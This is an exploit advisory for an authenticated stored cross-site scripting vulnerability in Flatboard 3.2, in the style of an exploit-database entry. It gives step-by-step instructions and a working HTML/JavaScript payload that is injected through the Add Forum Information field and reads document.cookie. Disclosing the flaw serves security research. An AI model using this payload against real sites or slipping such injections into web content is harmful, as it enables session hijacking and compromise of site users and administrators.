Flatboard 3.2 - Stored Cross-Site Scripting (Authenticated) Vulnerability

# Exploit Title: Flatboard 3.2 - Stored Cross-Site Scripting (XSS) (Authenticated)
# Exploit Author: tmrswrr
# Category : Webapps
# Vendor Homepage: https://flatboard.org/
# Version: 3.2
# PoC:

1-Login admin panel , go to this url : https://127.0.0.1//Flatboard/index.php/forum
2-Click Add Forum and write in  Information field your payload : "><img src=x onerrora=confirm() onerror=confirm(document.cookie)>
3-Save it , you will be payload will be executed